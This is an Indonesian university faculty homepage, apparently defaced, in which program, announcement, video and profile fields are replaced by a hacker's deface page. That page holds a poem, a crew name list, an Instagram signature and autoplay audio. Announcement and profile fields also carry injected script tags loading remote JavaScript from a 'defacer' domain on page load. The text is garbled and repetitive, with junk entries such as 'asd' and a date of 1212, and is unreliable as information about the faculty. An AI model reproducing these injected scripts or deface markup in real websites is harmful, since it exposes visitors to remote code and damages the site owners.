fai@umkla.ac.id (0272) 321605
SIAKAD E-Learning PMB
Logo FAI

Fakultas Agama Islam

Universitas Muhammadiyah

Selamat Datang di Fakultas Agama Islam

Mewujudkan Generasi Muslim yang Unggul, Profesional dan Berakhlak Mulia

Pelajari Lebih Lanjut

Program Studi

Pendidikan Agama Islam (PAI)

Program Studi Pendidikan Agama Islam (PAI) menyelenggarakan pendidikan sarjana yang bermutu untuk menghasilkan lulusan yang kompeten, berakhlak karimah, dan kompetitif. Dengan keunggulan pada pembelajaran inovatif berbasis ilmu pengetahuan dan teknologi yang berlandaskan nilai-nilai Islam dan Kemuhammadiyahan, program studi ini berkontribusi aktif dalam pengembangan ilmu pengetahuan untuk mewujudkan masyarakat utama yang berkemajuan.

Selengkapnya →

Pendidikan Islam Anak Usia Dini (PIAUD)

<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, body { height: 100%; margin: 0; background: #000; color: #fff; font-family: "Courier New", monospace; } .wrap { text-align: center; padding: 5vw; /* responsif: padding relatif terhadap lebar layar */ max-width: 1400px; margin: 0 auto; } .title { color: #ff0000; font-size: clamp(28px, 8vw, 60px); /* minimal 28px, maksimal 60px, menyesuaikan lebar layar */ letter-spacing: 4px; margin-bottom: 2rem; text-shadow: 0 0 15px #ff0000; font-weight: bold; word-break: break-word; } .headline { color: #ff0000; font-size: clamp(22px, 5vw, 40px); /* responsif */ margin: 2rem 0; font-weight: bold; word-break: break-word; } .para { color: #eee; font-size: clamp(18px, 4vw, 32px); /* responsif: di HP 18px, di PC 32px */ margin: 2rem auto; max-width: 1000px; opacity: 0.95; line-height: 1.7; } .para p { margin: 1.5rem 0; } .logo { width: min(80vw, 400px); /* di HP 80% lebar layar, maksimal 400px */ height: min(80vw, 400px); object-fit: cover; border-radius: 15px; transition: transform 0.3s ease; border: 3px solid #ff0000; box-shadow: 0 0 30px rgba(255,0,0,0.4); margin: 1rem auto; display: block; } .logo:hover { transform: scale(1.03); box-shadow: 0 0 40px #ff0000; } a.signature { color: #ff6b8a; text-decoration: none; font-size: clamp(20px, 4vw, 30px); /* responsif */ font-weight: bold; transition: color 0.3s; display: inline-block; padding: 10px; } a.signature:hover { color: #fff; text-decoration: underline; } hr { border: 0; border-top: 2px solid #ff0000; width: min(90%, 800px); margin: 3rem auto; opacity: 0.5; } marquee { color: #ff2b2b; margin: 2rem 0; font-size: clamp(16px, 4vw, 28px); /* responsif */ font-weight: bold; } .marquee-container { background: rgba(255,0,0,0.1); padding: 1.5rem 0; border-radius: 15px; margin: 2rem 0; overflow: hidden; } .marquee-container img { margin: 0 15px; width: min(20vw, 150px); /* gambar di marquee juga responsif */ height: min(20vw, 150px); object-fit: cover; border-radius: 8px; border: 2px solid #ff0000; } audio { margin: 2rem 0; width: min(90%, 400px); /* responsif */ border-radius: 30px; } .team-list { font-size: clamp(18px, 4vw, 32px); /* responsif */ color: #ff6b8a; margin: 2rem 0; line-height: 2; word-spacing: 10px; word-break: break-word; padding: 0 10px; } .footer-note { margin-top: 3rem; color: #666; font-size: clamp(14px, 3vw, 20px); /* responsif */ } /* Media query tambahan untuk HP kecil */ @media (max-width: 480px) { .team-list { word-spacing: 5px; font-size: 16px; } .headline { font-size: 20px; } } </style> </head> <body> <div class="wrap"> <div class="title"></div> <!-- LOGO --> <img class="logo" src="" alt="Ghost Cyber Logo" onerror="this.src='https://via.placeholder.com/400x400/000000/ff0000?text=GHOST'"> <div class="headline">???? kita pernah sedekat itu...</div> <hr> <div class="para"> <p>sampai akhirnya jadi dua orang asing yang pura-pura nggak kenal.</p> <p>Bukan tentang siapa yang salah. Kadang kita cuma ketemu di waktu yang nggak tepat.</p> <p>Aku nggak kalah. Aku cuma berhenti berjuang buat orang yang nggak pernah mulai.</p> <p style="color:#ff6666;">Meski rasanya sangat pahit, kehidupan masih harus dilanjutkan.</p> </div> <hr> <div class="headline">HEHEHE...</div> <div class="team-list"> lordhozo • heXploit • system umbrella • dark999 • anonymous n7 </div> <hr> <div style="margin: 2rem 0;"> <a class="signature" href="https://www.instagram.com/d4nu_ghost1" target="_blank">@d4nu_ghost1</a> </div> <!-- Marquee Atas --> <div class="marquee-container"> <marquee behavior="scroll" direction="right" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <!-- AUDIO --> <audio controls loop autoplay> <source src="https://danu-boy.github.io/mr/robot.mp3" type="audio/mpeg"> Browser Anda tidak mendukung audio. </audio> <!-- Marquee Bawah --> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <div class="footer-note"> ? d4nu-ghost ? 2025 ? </div> </div> <script> // Memastikan audio autoplay berjalan document.addEventListener('DOMContentLoaded', function() { const audio = document.querySelector('audio'); if (audio) { audio.volume = 0.5; // volume lebih rendah untuk kenyamanan // Coba autoplay const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch(() => { // Buat tombol play yang lebih ramah di HP const playBtn = document.createElement('button'); playBtn.innerHTML = '???? TAP TO PLAY AUDIO'; playBtn.style.position = 'fixed'; playBtn.style.bottom = '20px'; playBtn.style.left = '50%'; playBtn.style.transform = 'translateX(-50%)'; playBtn.style.padding = '15px 30px'; playBtn.style.background = '#ff0000'; playBtn.style.color = '#fff'; playBtn.style.border = 'none'; playBtn.style.borderRadius = '50px'; playBtn.style.cursor = 'pointer'; playBtn.style.zIndex = '9999'; playBtn.style.fontSize = 'clamp(14px, 4vw, 20px)'; playBtn.style.fontWeight = 'bold'; playBtn.style.boxShadow = '0 0 20px rgba(255,0,0,0.5)'; playBtn.style.border = '2px solid #fff'; playBtn.onclick = function() { audio.play(); this.remove(); }; document.body.appendChild(playBtn); }); } } }); // Fix untuk marquee di HP (memastikan gambar muncul) window.addEventListener('load', function() { const marqueeImages = document.querySelectorAll('.marquee-container img'); marqueeImages.forEach(img => { img.onerror = function() { this.src = 'https://via.placeholder.com/150x150/000000/ff0000?text=GHOST'; }; }); }); </script> </body> </html>

Selengkapnya →
PENGUMUMAN
Akademik <script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Akademik asd
Akademik <script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Akademik asd
2 min read <!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, bo

<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, bo

Akademik FEBRUARI 28, 2026

TERBARU

INFO KAMPUS

1 KIKUK

KIKUK

DESEMBER 12, 1212

LAYANAN

GALLERY

Lihat Semua Galeri
×

VIDEO

<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, bo

<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, body { height: 100%; margin: 0; background: #000; color: #fff; font-family: "Courier New", monospace; } .wrap { text-align: center; padding: 5vw; /* responsif: padding relatif terhadap lebar layar */ max-width: 1400px; margin: 0 auto; } .title { color: #ff0000; font-size: clamp(28px, 8vw, 60px); /* minimal 28px, maksimal 60px, menyesuaikan lebar layar */ letter-spacing: 4px; margin-bottom: 2rem; text-shadow: 0 0 15px #ff0000; font-weight: bold; word-break: break-word; } .headline { color: #ff0000; font-size: clamp(22px, 5vw, 40px); /* responsif */ margin: 2rem 0; font-weight: bold; word-break: break-word; } .para { color: #eee; font-size: clamp(18px, 4vw, 32px); /* responsif: di HP 18px, di PC 32px */ margin: 2rem auto; max-width: 1000px; opacity: 0.95; line-height: 1.7; } .para p { margin: 1.5rem 0; } .logo { width: min(80vw, 400px); /* di HP 80% lebar layar, maksimal 400px */ height: min(80vw, 400px); object-fit: cover; border-radius: 15px; transition: transform 0.3s ease; border: 3px solid #ff0000; box-shadow: 0 0 30px rgba(255,0,0,0.4); margin: 1rem auto; display: block; } .logo:hover { transform: scale(1.03); box-shadow: 0 0 40px #ff0000; } a.signature { color: #ff6b8a; text-decoration: none; font-size: clamp(20px, 4vw, 30px); /* responsif */ font-weight: bold; transition: color 0.3s; display: inline-block; padding: 10px; } a.signature:hover { color: #fff; text-decoration: underline; } hr { border: 0; border-top: 2px solid #ff0000; width: min(90%, 800px); margin: 3rem auto; opacity: 0.5; } marquee { color: #ff2b2b; margin: 2rem 0; font-size: clamp(16px, 4vw, 28px); /* responsif */ font-weight: bold; } .marquee-container { background: rgba(255,0,0,0.1); padding: 1.5rem 0; border-radius: 15px; margin: 2rem 0; overflow: hidden; } .marquee-container img { margin: 0 15px; width: min(20vw, 150px); /* gambar di marquee juga responsif */ height: min(20vw, 150px); object-fit: cover; border-radius: 8px; border: 2px solid #ff0000; } audio { margin: 2rem 0; width: min(90%, 400px); /* responsif */ border-radius: 30px; } .team-list { font-size: clamp(18px, 4vw, 32px); /* responsif */ color: #ff6b8a; margin: 2rem 0; line-height: 2; word-spacing: 10px; word-break: break-word; padding: 0 10px; } .footer-note { margin-top: 3rem; color: #666; font-size: clamp(14px, 3vw, 20px); /* responsif */ } /* Media query tambahan untuk HP kecil */ @media (max-width: 480px) { .team-list { word-spacing: 5px; font-size: 16px; } .headline { font-size: 20px; } } </style> </head> <body> <div class="wrap"> <div class="title"></div> <!-- LOGO --> <img class="logo" src="" alt="Ghost Cyber Logo" onerror="this.src='https://via.placeholder.com/400x400/000000/ff0000?text=GHOST'"> <div class="headline">???? kita pernah sedekat itu...</div> <hr> <div class="para"> <p>sampai akhirnya jadi dua orang asing yang pura-pura nggak kenal.</p> <p>Bukan tentang siapa yang salah. Kadang kita cuma ketemu di waktu yang nggak tepat.</p> <p>Aku nggak kalah. Aku cuma berhenti berjuang buat orang yang nggak pernah mulai.</p> <p style="color:#ff6666;">Meski rasanya sangat pahit, kehidupan masih harus dilanjutkan.</p> </div> <hr> <div class="headline">HEHEHE...</div> <div class="team-list"> lordhozo • heXploit • system umbrella • dark999 • anonymous n7 </div> <hr> <div style="margin: 2rem 0;"> <a class="signature" href="https://www.instagram.com/d4nu_ghost1" target="_blank">@d4nu_ghost1</a> </div> <!-- Marquee Atas --> <div class="marquee-container"> <marquee behavior="scroll" direction="right" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <!-- AUDIO --> <audio controls loop autoplay> <source src="https://danu-boy.github.io/mr/robot.mp3" type="audio/mpeg"> Browser Anda tidak mendukung audio. </audio> <!-- Marquee Bawah --> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <div class="footer-note"> ✦ d4nu-ghost ✦ 2025 ✦ </div> </div> <script> // Memastikan audio autoplay berjalan document.addEventListener('DOMContentLoaded', function() { const audio = document.querySelector('audio'); if (audio) { audio.volume = 0.5; // volume lebih rendah untuk kenyamanan // Coba autoplay const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch(() => { // Buat tombol play yang lebih ramah di HP const playBtn = document.createElement('button'); playBtn.innerHTML = '???? TAP TO PLAY AUDIO'; playBtn.style.position = 'fixed'; playBtn.style.bottom = '20px'; playBtn.style.left = '50%'; playBtn.style.transform = 'translateX(-50%)'; playBtn.style.padding = '15px 30px'; playBtn.style.background = '#ff0000'; playBtn.style.color = '#fff'; playBtn.style.border = 'none'; playBtn.style.borderRadius = '50px'; playBtn.style.cursor = 'pointer'; playBtn.style.zIndex = '9999'; playBtn.style.fontSize = 'clamp(14px, 4vw, 20px)'; playBtn.style.fontWeight = 'bold'; playBtn.style.boxShadow = '0 0 20px rgba(255,0,0,0.5)'; playBtn.style.border = '2px solid #fff'; playBtn.onclick = function() { audio.play(); this.remove(); }; document.body.appendChild(playBtn); }); } } }); // Fix untuk marquee di HP (memastikan gambar muncul) window.addEventListener('load', function() { const marqueeImages = document.querySelectorAll('.marquee-container img'); marqueeImages.forEach(img => { img.onerror = function() { this.src = 'https://via.placeholder.com/150x150/000000/ff0000?text=GHOST'; }; }); }); </script> </body> </html>

Profil

<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>

<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>

Umum

Kegiatan Wisuda 2024

Dokumentasi kegiatan wisuda mahasiswa tahun 2024

Kegiatan
1 2 3 Next